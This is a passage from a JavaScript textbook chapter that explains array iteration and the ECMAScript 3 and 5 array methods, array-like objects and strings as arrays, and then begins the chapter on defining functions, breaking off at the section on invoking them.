These examples assume that the array is dense and that all elements contain valid data. If this is not the case, you should test the array elements before using them. If you want to exclude `null`, `undefined`, and nonexistent elements, you can write this:

```
for(var i = 0; i < a.length; i++) {
    if (!a[i]) continue;  // Skip null, undefined, and nonexistent elements
    // loop body here
}
```

If you only want to skip undefined and nonexistent elements, you might write:

```
for(var i = 0; i < a.length; i++) {
    if (a[i] === undefined) continue; // Skip undefined + nonexistent elements
    // loop body here
}
```

Finally, if you only want to skip indexes for which no array element exists but still want to handle existing undefined elements, do this:

```
for(var i = 0; i < a.length; i++) {
    if (!(i in a)) continue ; // Skip nonexistent elements
    // loop body here
}
```

You can also use a `for/in` loop (§5.5.4) with sparse arrays. This loop assigns enumerable property names (including array indexes) to the loop variable one at a time. Indexes that do not exist will not be iterated:

```
for(var index in sparseArray) {
   var value = sparseArray[index];
   // Now do something with index and value
}
```

As noted in §6.5, a `for/in` loop can return the names of inherited properties, such as the names of methods that have been added to `Array.prototype`. For this reason you should not use a `for/in` loop on an array unless you include an additional test to filter out unwanted properties. You might use either of these tests:

```
for(var i in a) {
    if (!a.hasOwnProperty(i)) continue;  // Skip inherited properties
    // loop body here
}

for(var i in a) {
    // Skip i if it is not a non-negative integer
    if (String(Math.floor(Math.abs(Number(i)))) !== i) continue;
}
```

The ECMAScript specification allows the `for/in` loop to iterate the properties of an object in any order. Implementations typically iterate array elements in ascending order, but this is not guaranteed. In particular, if an array has both object properties and array elements, the property names may be returned in the order they were created,

rather than in numeric order. Implementations differ in how they handle this case, so if iteration order matters for your algorithm, it is best to use a regular `for` loop instead of `for/in`.

ECMAScript 5 defines a number of new methods for iterating array elements by passing each one, in index order, to a function that you define. The `forEach()` method is the most general of these methods:

```
var data = [1,2,3,4,5];     // This is the array we want to iterate
var sumOfSquares = 0;       // We want to compute the sum of the squares of data
data.forEach(function(x) {  // Pass each element of data to this function
                sumOfSquares += x*x;  // add up the squares
            });
sumOfSquares                // =>55 : 1+4+9+16+25
```

`forEach()` and related iteration methods enable a simple and powerful functional programming style for working with arrays. They are covered in §7.9, and we'll return to them in §8.8, when we cover functional programming.

7.7 Multidimensional Arrays

JavaScript does not support true multidimensional arrays, but you can approximate them with arrays of arrays. To access a value in an array of arrays, simply use the `[]` operator twice. For example, suppose the variable `matrix` is an array of arrays of numbers. Every element in `matrix[x]` is an array of numbers. To access a particular number within this array, you would write `matrix[x][y]`. Here is a concrete example that uses a two-dimensional array as a multiplication table:

```
// Create a multidimensional array
var table = new Array(10);              // 10 rows of the table
for(var i = 0; i < table.length; i++)
    table[i] = new Array(10);           // Each row has 10 columns

// Initialize the array
for(var row = 0; row < table.length; row++) {
    for(col = 0; col < table[row].length; col++) {
        table[row][col] = row*col;
    }
}

// Use the multidimensional array to compute 5*7
var product = table[5][7];  // 35
```

7.8 Array Methods

ECMAScript 3 defines a number of useful array manipulation functions on `Array.prototype`, which means that they are available as methods of any array. These ECMAScript 3 methods are introduced in the subsections below. As usual, complete details can be found under `Array` in the client-side reference section. ECMAScript 5 adds new array iteration methods; those methods are covered in §7.9.

7.8.1 join()

The `Array.join()` method converts all the elements of an array to strings and concatenates them, returning the resulting string. You can specify an optional string that separates the elements in the resulting string. If no separator string is specified, a comma is used. For example, the following lines of code produce the string "1,2,3":

```
var a = [1, 2, 3];     // Create a new array with these three elements
a.join();              // => "1,2,3"
a.join(" ");           // => "1 2 3"
a.join("");            // => "123"
var b = new Array(10); // An array of length 10 with no elements
b.join('-')            // => '---------': a string of 9 hyphens
```

The `Array.join()` method is the inverse of the `String.split()` method, which creates an array by breaking a string into pieces.

7.8.2 reverse()

The `Array.reverse()` method reverses the order of the elements of an array and returns the reversed array. It does this in place; in other words, it doesn't create a new array with the elements rearranged but instead rearranges them in the already existing array. For example, the following code, which uses the `reverse()` and `join()` methods, produces the string "3,2,1":

```
var a = [1,2,3];
a.reverse().join()  // => "3,2,1" and a is now [3,2,1]
```

7.8.3 sort()

`Array.sort()` sorts the elements of an array in place and returns the sorted array. When `sort()` is called with no arguments, it sorts the array elements in alphabetical order (temporarily converting them to strings to perform the comparison, if necessary):

```
var a = new Array("banana", "cherry", "apple");
a.sort();
var s = a.join(", ");  // s == "apple, banana, cherry"
```

If an array contains undefined elements, they are sorted to the end of the array.

To sort an array into some order other than alphabetical, you must pass a comparison function as an argument to `sort()`. This function decides which of its two arguments should appear first in the sorted array. If the first argument should appear before the second, the comparison function should return a number less than zero. If the first argument should appear after the second in the sorted array, the function should return a number greater than zero. And if the two values are equivalent (i.e., if their order is irrelevant), the comparison function should return 0. So, for example, to sort array elements into numerical rather than alphabetical order, you might do this:

```
var a = [33, 4, 1111, 222];
a.sort();                // Alphabetical order:  1111, 222, 33, 4
a.sort(function(a,b) {   // Numerical order: 4, 33, 222, 1111
```

```
            return a-b;    // Returns &lt; 0, 0, or &gt; 0, depending on order
        });
a.sort(function(a,b) {return b-a});   // Reverse numerical order
```

Note the convenient use of unnamed function expressions in this code. Since the comparison functions are used only once, there is no need to give them names.

As another example of sorting array items, you might perform a case-insensitive alphabetical sort on an array of strings by passing a comparison function that converts both of its arguments to lowercase (with the `toLowerCase()` method) before comparing them:

```
a = ['ant', 'Bug', 'cat', 'Dog']
a.sort();               // case-sensitive sort: ['Bug','Dog','ant',cat']
a.sort(function(s,t) {   // Case-insensitive sort
            var a = s.toLowerCase();
            var b = t.toLowerCase();
            if (a < b) return -1;
            if (a > b) return 1;
            return 0;
        });              // => ['ant','Bug','cat','Dog']
```

7.8.4 concat()

The `Array.concat()` method creates and returns a new array that contains the elements of the original array on which `concat()` was invoked, followed by each of the arguments to `concat()`. If any of these arguments is itself an array, then it is the array elements that are concatenated, not the array itself. Note, however, that `concat()` does not recursively flatten arrays of arrays. `concat()` does not modify the array on which it is invoked. Here are some examples:

```
var a = [1,2,3];
a.concat(4, 5)          // Returns [1,2,3,4,5]
a.concat([4,5]);        // Returns [1,2,3,4,5]
a.concat([4,5],[6,7])   // Returns [1,2,3,4,5,6,7]
a.concat(4, [5,[6,7]])  // Returns [1,2,3,4,5,[6,7]]
```

7.8.5 slice()

The `Array.slice()` method returns a *slice*, or subarray, of the specified array. Its two arguments specify the start and end of the slice to be returned. The returned array contains the element specified by the first argument and all subsequent elements up to, but not including, the element specified by the second argument. If only one argument is specified, the returned array contains all elements from the start position to the end of the array. If either argument is negative, it specifies an array element relative to the last element in the array. An argument of -1, for example, specifies the last element in the array, and an argument of -3 specifies the third from last element of the array. Note that `slice()` does not modify the array on which it is invoked. Here are some examples:

```
var a = [1,2,3,4,5];
a.slice(0,3);    // Returns [1,2,3]
```

```
a.slice(3);      // Returns [4,5]
a.slice(1,-1);   // Returns [2,3,4]
a.slice(-3,-2);  // Returns [3]
```

7.8.6 splice()

The `Array.splice()` method is a general-purpose method for inserting or removing elements from an array. Unlike `slice()` and `concat()`, `splice()` modifies the array on which it is invoked. Note that `splice()` and `slice()` have very similar names but perform substantially different operations.

`splice()` can delete elements from an array, insert new elements into an array, or perform both operations at the same time. Elements of the array that come after the insertion or deletion point have their indexes increased or decreased as necessary so that they remain contiguous with the rest of the array. The first argument to `splice()` specifies the array position at which the insertion and/or deletion is to begin. The second argument specifies the number of elements that should be deleted from (spliced out of) the array. If this second argument is omitted, all array elements from the start element to the end of the array are removed. `splice()` returns an array of the deleted elements, or an empty array if no elements were deleted. For example:

```
var a = [1,2,3,4,5,6,7,8];
a.splice(4);    // Returns [5,6,7,8]; a is [1,2,3,4]
a.splice(1,2);  // Returns [2,3]; a is [1,4]
a.splice(1,1);  // Returns [4]; a is [1]
```

The first two arguments to `splice()` specify which array elements are to be deleted. These arguments may be followed by any number of additional arguments that specify elements to be inserted into the array, starting at the position specified by the first argument. For example:

```
var a = [1,2,3,4,5];
a.splice(2,0,'a','b');  // Returns []; a is [1,2,'a','b',3,4,5]
a.splice(2,2,[1,2],3);  // Returns ['a','b']; a is [1,2,[1,2],3,3,4,5]
```

Note that, unlike `concat()`, `splice()` inserts arrays themselves, not the elements of those arrays.

7.8.7 push() and pop()

The `push()` and `pop()` methods allow you to work with arrays as if they were stacks. The `push()` method appends one or more new elements to the end of an array and returns the new length of the array. The `pop()` method does the reverse: it deletes the last element of an array, decrements the array length, and returns the value that it removed. Note that both methods modify the array in place rather than produce a modified copy of the array. The combination of `push()` and `pop()` allows you to use a JavaScript array to implement a first-in, last-out stack. For example:

```
var stack = [];       // stack: []
stack.push(1,2);      // stack: [1,2]      Returns 2
stack.pop();          // stack: [1]        Returns 2
```

```
stack.push(3);        // stack: [1,3]      Returns 2
stack.pop();          // stack: [1]        Returns 3
stack.push([4,5]);    // stack: [1,[4,5]]  Returns 2
stack.pop()           // stack: [1]        Returns [4,5]
stack.pop();          // stack: []         Returns 1
```

7.8.8 unshift() and shift()

The `unshift()` and `shift()` methods behave much like `push()` and `pop()`, except that they insert and remove elements from the beginning of an array rather than from the end. `unshift()` adds an element or elements to the beginning of the array, shifts the existing array elements up to higher indexes to make room, and returns the new length of the array. `shift()` removes and returns the first element of the array, shifting all subsequent elements down one place to occupy the newly vacant space at the start of the array. For example:

```
var a = [];           // a:[]
a.unshift(1);         // a:[1]         Returns: 1
a.unshift(22);        // a:[22,1]      Returns: 2
a.shift();            // a:[1]         Returns: 22
a.unshift(3,[4,5]);   // a:[3,[4,5],1] Returns: 3
a.shift();            // a:[[4,5],1]   Returns: 3
a.shift();            // a:[1]         Returns: [4,5]
a.shift();            // a:[]          Returns: 1
```

Note the possibly surprising behavior of `unshift()` when it's invoked with multiple arguments. Instead of being inserted into the array one at a time, arguments are inserted all at once (as with the `splice()` method). This means that they appear in the resulting array in the same order in which they appeared in the argument list. Had the elements been inserted one at a time, their order would have been reversed.

7.8.9 toString() and toLocaleString()

An array, like any JavaScript object, has a `toString()` method. For an array, this method converts each of its elements to a string (calling the `toString()` methods of its elements, if necessary) and outputs a comma-separated list of those strings. Note that the output does not include square brackets or any other sort of delimiter around the array value. For example:

```
[1,2,3].toString()          // Yields '1,2,3'
["a", "b", "c"].toString()  // Yields 'a,b,c'
[1, [2,'c']].toString()     // Yields '1,2,c'
```

Note that the `join()` method returns the same string when it is invoked with no arguments.

`toLocaleString()` is the localized version of `toString()`. It converts each array element to a string by calling the `toLocaleString()` method of the element, and then it concatenates the resulting strings using a locale-specific (and implementation-defined) separator string.

7.9 ECMAScript 5 Array Methods

ECMAScript 5 defines nine new array methods for iterating, mapping, filtering, testing, reducing, and searching arrays. The subsections below describe these methods.

Before we cover the details, however, it is worth making some generalizations about these ECMAScript 5 array methods. First, most of the methods accept a function as their first argument and invoke that function once for each element (or some elements) of the array. If the array is sparse, the function you pass is not invoked for nonexistent elements. In most cases, the function you supply is invoked with three arguments: the value of the array element, the index of the array element, and the array itself. Often, you only need the first of these argument values and can ignore the second and third values. Most of the ECMAScript 5 array methods that accept a function as their first argument accept an optional second argument. If specified, the function is invoked as if it is a method of this second argument. That is, the second argument you pass becomes the value of the `this` keyword inside of the function you pass. The return value of the function you pass is important, but different methods handle the return value in different ways. None of the ECMAScript 5 array methods modify the array on which they are invoked. If you pass a function to these methods, that function may modify the array, of course.

7.9.1 forEach()

The `forEach()` method iterates through an array, invoking a function you specify for each element. As described above, you pass the function as the first argument to `forEach()`. `forEach()` then invokes your function with three arguments: the value of the array element, the index of the array element, and the array itself. If you only care about the value of the array element, you can write a function with only one parameter—the additional arguments will be ignored:

```
var data = [1,2,3,4,5];                          // An array to sum
// Compute the sum of the array elements
var sum = 0;                                     // Start at 0
data.forEach(function(value) { sum += value; });  // Add each value to sum
sum                                              // => 15

// Now increment each array element
data.forEach(function(v, i, a) { a[i] = v + 1; });
data                                             // => [2,3,4,5,6]
```

Note that `forEach()` does not provide a way to terminate iteration before all elements have been passed to the function. That is, there is no equivalent of the `break` statement you can use with a regular `for` loop. If you need to terminate early, you must throw an exception, and place the call to `forEach()` within a `try` block. The following code defines a `foreach()` function that calls the `forEach()` method within such a try block. If the function passed to `foreach()` throws `foreach.break`, the loop will terminate early:

```
function foreach(a,f,t) {
    try { a.forEach(f,t); }
```

```
        catch(e) {
        if (e === foreach.break) return;
        else throw e;
        }
    }
    foreach.break = new Error("StopIteration");
```

7.9.2 map()

The `map()` method passes each element of the array on which it is invoked to the function you specify, and returns an array containing the values returned by that function. For example:

```
a = [1, 2, 3];
b = a.map(function(x) { return x*x; });  // b is [1, 4, 9]
```

The function you pass to `map()` is invoked in the same way as a function passed to `forEach()`. For the `map()` method, however, the function you pass should return a value. Note that `map()` returns a new array: it does not modify the array it is invoked on. If that array is sparse, the returned array will be sparse in the same way: it will have the same length and the same missing elements.

7.9.3 filter()

The `filter()` method returns an array containing a subset of the elements of the array on which it is invoked. The function you pass to it should be predicate: a function that returns `true` or `false`. The predicate is invoked just as for `forEach()` and `map()`. If the return value is `true`, or a value that converts to `true`, then the element passed to the predicate is a member of the subset and is added to the array that will become the return value. Examples:

```
a = [5, 4, 3, 2, 1];
smallvalues = a.filter(function(x) { return x < 3 });   // [2, 1]
everyother = a.filter(function(x,i) { return i%2==0 }); // [5, 3, 1]
```

Note that `filter()` skips missing elements in sparse arrays, and that its return value is always dense. To close the gaps in a sparse array, you can do this:

```
var dense = sparse.filter(function() { return true; });
```

And to close gaps and remove undefined and null elements you can use `filter` like this:

```
a = a.filter(function(x) { return x !== undefined && x != null; });
```

7.9.4 every() and some()

The `every()` and `some()` methods are array predicates: they apply a predicate function you specify to the elements of the array, and then return `true` or `false`.

The `every()` method is like the mathematical "for all" quantifier ∀: it returns `true` if and only if your predicate function returns `true` for all elements in the array:

```
a = [1,2,3,4,5];
a.every(function(x) { return x < 10; })      // => true: all values < 10.
a.every(function(x) { return x % 2 === 0; }) // => false: not all values even.
```

The `some()` method is like the mathematical "there exists" quantifier ∃: it returns `true` if there exists at least one element in the array for which the predicate returns `true`, and returns `false` if and only if the predicate returns `false` for all elements of the array:

```
a = [1,2,3,4,5];
a.some(function(x) { return x%2===0; })  // => true a has some even numbers.
a.some(isNaN)                            // => false: a has no non-numbers.
```

Note that both `every()` and `some()` stop iterating array elements as soon as they know what value to return. `some()` returns `true` the first time your predicate returns true, and only iterates through the entire array if your predicate always returns `false`. `every()` is the opposite: it returns `false` the first time your predicate returns `false`, and only iterates all elements if your predicate always returns `true`. Note also that by mathematical convention, `every()` returns `true` and `some` returns `false` when invoked on an empty array.

7.9.5 reduce(), reduceRight()

The `reduce()` and `reduceRight()` methods combine the elements of an array, using the function you specify, to produce a single value. This is a common operation in functional programming and also goes by the names "inject" and "fold." Examples help illustrate how it works:

```
var a = [1,2,3,4,5]
var sum = a.reduce(function(x,y) { return x+y }, 0);     // Sum of values
var product = a.reduce(function(x,y) { return x*y }, 1); // Product of values
var max = a.reduce(function(x,y) { return (x>y)?x:y; }); // Largest value
```

`reduce()` takes two arguments. The first is the function that performs the reduction operation. The task of this reduction function is to somehow combine or reduce two values into a single value, and to return that reduced value. In the examples above, the functions combine two values by adding them, multiplying them, and choosing the largest. The second (optional) argument is an initial value to pass to the function.

Functions used with `reduce()` are different than the functions used with `forEach()` and `map()`. The familiar value, index, and array values are passed as the second, third, and fourth arguments. The first argument is the accumulated result of the reduction so far. On the first call to the function, this first argument is the initial value you passed as the second argument to `reduce()`. On subsequent calls, it is the value returned by the previous invocation of the function. In the first example above, the reduction function is first called with arguments 0 and 1. It adds these and returns 1. It is then called again with arguments 1 and 2 and it returns 3. Next it computes 3+3=6, then 6+4=10, and finally 10+5=15. This final value, 15, becomes the return value of `reduce()`.

You may have noticed that the third call to `reduce()` above has only a single argument: there is no initial value specified. When you invoke `reduce()` like this with no initial value, it uses the first element of the array as the initial value. This means that the first call to the reduction function will have the first and second array elements as its first and second arguments. In the sum and product examples above, we could have omitted the initial value argument.

Calling `reduce()` on an empty array with no initial value argument causes a TypeError. If you call it with only one value—either an array with one element and no initial value or an empty array and an initial value—it simply returns that one value without ever calling the reduction function.

`reduceRight()` works just like `reduce()`, except that it processes the array from highest index to lowest (right-to-left), rather than from lowest to highest. You might want to do this if the reduction operation has right-to-left precedence, for example:

```
var a = [2, 3, 4]
// Compute 2^(3^4).  Exponentiation has right-to-left precedence
var big = a.reduceRight(function(accumulator,value) {
                            return Math.pow(value,accumulator);
                        });
```

Note that neither `reduce()` nor `reduceRight()` accepts an optional argument that specifies the `this` value on which the reduction function is to be invoked. The optional initial value argument takes its place. See the `Function.bind()` method if you need your reduction function invoked as a method of a particular object.

It is worth noting that the `every()` and `some()` methods described above perform a kind of array reduction operation. They differ from `reduce()`, however, in that they terminate early when possible, and do not always visit every array element.

The examples shown so far have been numeric for simplicity, but `reduce()` and `reduceRight()` are not intended solely for mathematical computations. Consider the `union()` function from Example 6-2. It computes the "union" of two objects and returns a new object that has the properties of both. This function expects two objects and returns another object, so it works as a reduction function, and we can use `reduce()` to generalize it and compute the union of any number of objects:

```
var objects = [{x:1}, {y:2}, {z:3}];
var merged = objects.reduce(union);    // => {x:1, y:2, z:3}
```

Recall that when two objects have properties with the same name, the `union()` function uses the value of that property from the first argument. Thus `reduce()` and `reduceRight()` may give different results when used with `union()`:

```
var objects = [{x:1,a:1}, {y:2,a:2}, {z:3,a:3}];
var leftunion = objects.reduce(union);       // {x:1, y:2, z:3, a:1}
var rightunion = objects.reduceRight(union); // {x:1, y:2, z:3, a:3}
```

7.9.6 indexOf() and lastIndexOf()

`indexOf()` and `lastIndexOf()` search an array for an element with a specified value, and return the index of the first such element found, or –1 if none is found. `indexOf()` searches the array from beginning to end, and `lastIndexOf()` searches from end to beginning.

```
a = [0,1,2,1,0];
a.indexOf(1)       // => 1: a[1] is 1
a.lastIndexOf(1)   // => 3: a[3] is 1
a.indexOf(3)       // => -1: no element has value 3
```

Unlike the other methods described in this section, `indexOf()` and `lastIndexOf()` do not take a function argument. The first argument is the value to search for. The second argument is optional: it specifies the array index at which to begin the search. If this argument is omitted, `indexOf()` starts at the beginning and `lastIndexOf()` starts at the end. Negative values are allowed for the second argument and are treated as an offset from the end of the array, as they are for the `splice()` method: a value of –1, for example, specifies the last element of the array.

The following function searches an array for a specified value and returns an array of *all* matching indexes. This demonstrates how the second argument to `indexOf()` can be used to find matches beyond the first.

```
// Find all occurrences of a value x in an array a and return an array
// of matching indexes
function findall(a, x) {
    var results = [],            // The array of indexes we'll return
        len = a.length,          // The length of the array to be searched
        pos = 0;                 // The position to search from
    while(pos < len) {           // While more elements to search...
        pos = a.indexOf(x, pos); // Search
        if (pos === -1) break;   // If nothing found, we're done.
        results.push(pos);       // Otherwise, store index in array
        pos = pos + 1;           // And start next search at next element
    }
    return results;              // Return array of indexes
}
```

Note that strings have `indexOf()` and `lastIndexOf()` methods that work like these array methods.

7.10 Array Type

We've seen throughout this chapter that arrays are objects with some special behavior. Given an unknown object, it is often useful to be able to determine whether it is an array or not. In ECMAScript 5, you can do this with the `Array.isArray()` function:

```
Array.isArray([])     // => true
Array.isArray({})     // => false
```

Prior to ECMAScript 5, however, distinguishing arrays from nonarray objects was surprisingly difficult. The `typeof` operator does not help here: it returns "object" for arrays (and for all objects other than functions). The `instanceof` operator works in simple cases:

```
[] instanceof Array     // => true
({}) instanceof Array   // => false
```

The problem with using `instanceof` is that in web browsers, there can be more than one window or frame open. Each has its own JavaScript environment, with its own global object. And each global object has its own set of constructor functions. Therefore an object from one frame will never be an instance of a constructor from another frame. While interframe confusion does not arise often, it is enough of a problem that the `instanceof` operator is not deemed a reliable test for arrays.

The solution is to inspect the *class* attribute (see §6.8.2) of the object. For arrays, this attribute will always have the value "Array", and we can therefore write an `isArray()` function in ECMAScript 3 like this:

```
var isArray = Function.isArray || function(o) {
    return typeof o === "object" &&
    Object.prototype.toString.call(o) === "[object Array]";
};
```

This test of the *class* attribute is, in fact, exactly what the ECMAScript 5 `Array.isArray()` function does. The technique for obtaining the class of an object using `Object.prototype.toString()` is explained in §6.8.2 and demonstrated in Example 6-4.

7.11 Array-Like Objects

As we've seen, JavaScript arrays have some special features that other objects do not have:

- The `length` property is automatically updated as new elements are added to the list.
- Setting `length` to a smaller value truncates the array.
- Arrays inherit useful methods from `Array.prototype`.
- Arrays have a *class* attribute of "Array".

These are the features that make JavaScript arrays distinct from regular objects. But they are not the essential features that define an array. It is often perfectly reasonable to treat any object with a numeric `length` property and corresponding non-negative integer properties as a kind of array.

These "array-like" objects actually do occasionally appear in practice, and although you cannot directly invoke array methods on them or expect special behavior from the `length` property, you can still iterate through them with the same code you'd use for a true array. It turns out that many array algorithms work just as well with array-like

objects as they do with real arrays. This is especially true if your algorithms treat the array as read-only or if they at least leave the array length unchanged.

The following code takes a regular object, adds properties to make it an array-like object, and then iterates through the "elements" of the resulting pseudo-array:

```
var a = {};  // Start with a regular empty object

// Add properties to make it "array-like"
var i = 0;
while(i < 10) {
    a[i] = i * i;
    i++;
}
a.length = i;

// Now iterate through it as if it were a real array
var total = 0;
for(var j = 0; j < a.length; j++)
    total += a[j];
```

The Arguments object that's described in §8.3.2 is an array-like object. In client-side JavaScript, a number of DOM methods, such as `document.getElementsByTagName()`, return array-like objects. Here's a function you might use to test for objects that work like arrays:

```
// Determine if o is an array-like object.
// Strings and functions have numeric length properties, but are
// excluded by the typeof test. In client-side JavaScript, DOM text
// nodes have a numeric length property, and may need to be excluded
// with an additional o.nodeType != 3 test.
function isArrayLike(o) {
    if (o &&                                // o is not null, undefined, etc.
        typeof o === "object" &&            // o is an object
        isFinite(o.length) &&               // o.length is a finite number
        o.length >= 0 &&                    // o.length is non-negative
        o.length===Math.floor(o.length) &&  // o.length is an integer
        o.length < 4294967296)              // o.length < 2^32
        return true;                        // Then o is array-like
    else
        return false;                       // Otherwise it is not
}
```

We'll see in §7.12 that ECMAScript 5 strings behave like arrays (and that some browsers made strings indexable before ECMAScript 5). Nevertheless, tests like the one above for array-like objects typically return `false` for strings—they are usually best handled as strings, not as arrays.

The JavaScript array methods are purposely defined to be generic, so that they work correctly when applied to array-like objects in addition to true arrays. In ECMAScript 5, all array methods are generic. In ECMAScript 3, all methods except `toString()` and `toLocaleString()` are generic. (The `concat()` method is an exception: although it can be invoked on an array-like object, it does not property expand that object into the returned array.) Since array-like objects do not inherit from

`Array.prototype`, you cannot invoke array methods on them directly. You can invoke them indirectly using the `Function.call` method, however:

```
var a = {"0":"a", "1":"b", "2":"c", length:3};  // An array-like object
Array.prototype.join.call(a, "+")  // => "a+b+c"
Array.prototype.slice.call(a, 0)   // => ["a","b","c"]: true array copy
Array.prototype.map.call(a, function(x) {
    return x.toUpperCase();
})                                 // => ["A","B","C"]:
```

We've seen this `call()` technique before in the `isArray()` method of §7.10. The `call()` method of Function objects is covered in more detail in §8.7.3.

The ECMAScript 5 array methods were introduced in Firefox 1.5. Because they were written generically, Firefox also introduced versions of these methods as functions defined directly on the `Array` constructor. With these versions of the methods defined, the examples above can be rewritten like this:

```
var a = {"0":"a", "1":"b", "2":"c", length:3};  // An array-like object
Array.join(a, "+")
Array.slice(a, 0)
Array.map(a, function(x) { return x.toUpperCase(); })
```

These static function versions of the array methods are quite useful when working with array-like objects, but since they are nonstandard, you can't count on them to be defined in all browsers. You can write code like this to ensure that the functions you need exist before you use them:

```
Array.join = Array.join || function(a,sep) {
    return Array.prototype.join.call(a,sep);
};
Array.slice = Array.slice || function(a,from,to) {
    return Array.prototype.slice.call(a,from,to);
};
Array.map = Array.map || function(a, f, thisArg) {
    return Array.prototype.map.call(a, f, thisArg);
}
```

7.12 Strings As Arrays

In ECMAScript 5 (and in many recent browser implementations—including IE8—prior to ECMAScript 5), strings behave like read-only arrays. Instead of accessing individual characters with the `charAt()` method, you can use square brackets:

```
var s = test;
s.charAt(0)    // => "t"
s[1]           // => "e"
```

The `typeof` operator still returns "string" for strings, of course, and the `Array.isArray()` method returns `false` if you pass it a string.

The primary benefit of indexable strings is simply that we can replace calls to `charAt()` with square brackets, which are more concise and readable, and potentially

more efficient. The fact that strings behave like arrays also means, however, that we can apply generic array methods to them. For example:

```
s = "JavaScript"
Array.prototype.join.call(s, " ")      // => "J a v a S c r i p t"
Array.prototype.filter.call(s,         // Filter the characters of the string
    function(x) {
        return x.match(/[^aeiou]/);    // Only match nonvowels
    }).join("")                        // => "JvScrpt"
```

Keep in mind that strings are immutable values, so when they are treated as arrays, they are read-only arrays. Array methods like `push()`, `sort()`, `reverse()`, and `splice()` modify an array in place and do not work on strings. Attempting to modify a string using an array method does not, however, cause an error: it simply fails silently.

CHAPTER 8
Functions

A *function* is a block of JavaScript code that is defined once but may be executed, or *invoked*, any number of times. You may already be familiar with the concept of a function under a name such as *subroutine* or *procedure*. JavaScript functions are *parameterized*: a function definition may include a list of identifiers, known as *parameters*, that work as local variables for the body of the function. Function invocations provide values, or *arguments*, for the function's parameters. Functions often use their argument values to compute a *return value* that becomes the value of the function-invocation expression. In addition to the arguments, each invocation has another value—the *invocation context*—that is the value of the `this` keyword.

If a function is assigned to the property of an object, it is known as a *method* of that object. When a function is invoked *on* or *through* an object, that object is the invocation context or `this` value for the function. Functions designed to initialize a newly created object are called *constructors*. Constructors were described in §6.1 and will be covered again in Chapter 9.

In JavaScript, functions are objects, and they can be manipulated by programs. JavaScript can assign functions to variables and pass them to other functions, for example. Since functions are objects, you can set properties on them, and even invoke methods on them.

JavaScript function definitions can be nested within other functions, and they have access to any variables that are in scope where they are defined. This means that JavaScript functions are *closures*, and it enables important and powerful programming techniques.

8.1 Defining Functions

Functions are defined with the `function` keyword, which can be used in a function definition expression (§4.3) or in a function declaration statement (§5.3.2). In either form, function definitions begin with the keyword `function` followed by these components:

- An identifier that names the function. The name is a required part of function declaration statements: it is used as the name of a variable, and the newly defined function object is assigned to the variable. For function definition expressions, the name is optional: if present, the name refers to the function object only within the body of the function itself.
- A pair of parentheses around a comma-separated list of zero or more identifiers. These identifiers are the parameter names for the function, and they behave like local variables within the body of the function.
- A pair of curly braces with zero or more JavaScript statements inside. These statements are the body of the function: they are executed whenever the function is invoked.

Example 8-1 shows some function definitions using both statement and expression forms. Notice that a function defined as an expression is only useful if it is part of a larger expression, such as an assignment or invocation, that does something with the newly defined function.

Example 8-1. Defining JavaScript functions

```
// Print the name and value of each property of o.  Return undefined.
function printprops(o) {
    for(var p in o)
        console.log(p + ": " + o[p] + "\n");
}

// Compute the distance between Cartesian points (x1,y1) and (x2,y2).
function distance(x1, y1, x2, y2) {
    var dx = x2 - x1;
    var dy = y2 - y1;
    return Math.sqrt(dx*dx + dy*dy);
}

// A recursive function (one that calls itself) that computes factorials
// Recall that x! is the product of x and all positive integers less than it.
function factorial(x) {
    if (x <= 1) return 1;
    return x * factorial(x-1);
}

// This function expression defines a function that squares its argument.
// Note that we assign it to a variable
var square = function(x) { return x*x; }

// Function expressions can include names, which is useful for recursion.
```

```
var f = function fact(x) { if (x <= 1) return 1; else return x*fact(x-1); };

// Function expressions can also be used as arguments to other functions:
data.sort(function(a,b) { return a-b; });

// Function expressions are sometimes defined and immediately invoked:
var tensquared = (function(x) {return x*x;}(10));
```

Note that the function name is optional for functions defined as expressions. A function declaration statement actually *declares* a variable and assigns a function object to it. A function definition expression, on the other hand, does not declare a variable. A name is allowed for functions, like the factorial function above, that need to refer to themselves. If a function definition expression includes a name, the local function scope for that function will include a binding of that name to the function object. In effect, the function name becomes a local variable within the function. Most functions defined as expressions do not need names, which makes their definition more compact. Function definition expressions are particularly well suited for functions that are used only once, as in the last two examples above.

Function Names

Any legal JavaScript identifier can be a function name. Try to choose function names that are descriptive but concise. Striking the right balance is an art that comes with experience. Well-chosen function names can make a big difference in the readability (and thus maintainability) of your code.

Function names are often verbs or phrases that begin with verbs. It is a common convention to begin function names with a lowercase letter. When a name includes multiple words, one convention is to separate words with underscores `like_this()`; another convention is to begin all words after the first with an uppercase letter `likeThis()`. Functions that are supposed to be internal or hidden (and not part of a public API) are sometimes given names that begin with an underscore.

In some styles of programming, or within well-defined programming frameworks, it can be useful to give frequently used functions very short names. The client-side JavaScript framework jQuery (covered in Chapter 19), for example, makes heavy use in its public API of a function named `$()` (yes, just the dollar sign). (Recall from §2.4 that dollar signs and underscores are the two characters besides letters and numbers that are legal in JavaScript identifiers.)

As described in §5.3.2, function declaration statements are "hoisted" to the top of the enclosing script or the enclosing function, so that functions declared in this way may be invoked from code that appears before they are defined. This is not true for functions defined as expressions, however: in order to invoke a function, you must be able to refer to it, and you can't refer to a function defined as an expression until it is assigned to a variable. Variable declarations are hoisted (see §3.10.1, but assignments to those variables are not hoisted, so functions defined with expressions cannot be invoked before they are defined.

Notice that most, but not all, of the functions in Example 8-1 contain a `return` statement (§5.6.4). The `return` statement causes the function to stop executing and to return the value of its expression (if any) to the caller. If the `return` statement does not have an associated expression, it returns the `undefined` value. If a function does not contain a `return` statement, it simply executes each statement in the function body and returns the `undefined` value to the caller.

Most of the functions in Example 8-1 are designed to compute a value, and they use `return` to return that value to their caller. The `printprops()` function is different: its job is to output the names and values of an object's properties. No return value is necessary, and the function does not include a `return` statement. The value of an invocation of the `printprops()` function is always `undefined`. (Functions with no return value are sometimes called *procedures*.)

8.1.1 Nested Functions

In JavaScript, functions may be nested within other functions. For example:

```
function hypotenuse(a, b) {
    function square(x) { return x*x; }
    return Math.sqrt(square(a) + square(b));
}
```

The interesting thing about nested functions is their variable scoping rules: they can access the parameters and variables of the function (or functions) they are nested within. In the code above, for example, the inner function `square()` can read and write the parameters `a` and `b` defined by the outer function `hypotenuse()`. These scope rules for nested functions are very important, and we'll consider them again in §8.6.

As noted in §5.3.2, function declaration statements are not true statements, and the ECMAScript specification only allows them as top-level statements. They can appear in global code, or within other functions, but they cannot appear inside of loops, conditionals, or `try/catch/finally` or `with` statements.[1] Note that this restriction applies only to functions declared as statements. Function definition expressions may appear anywhere in your JavaScript code.

8.2 Invoking Functions

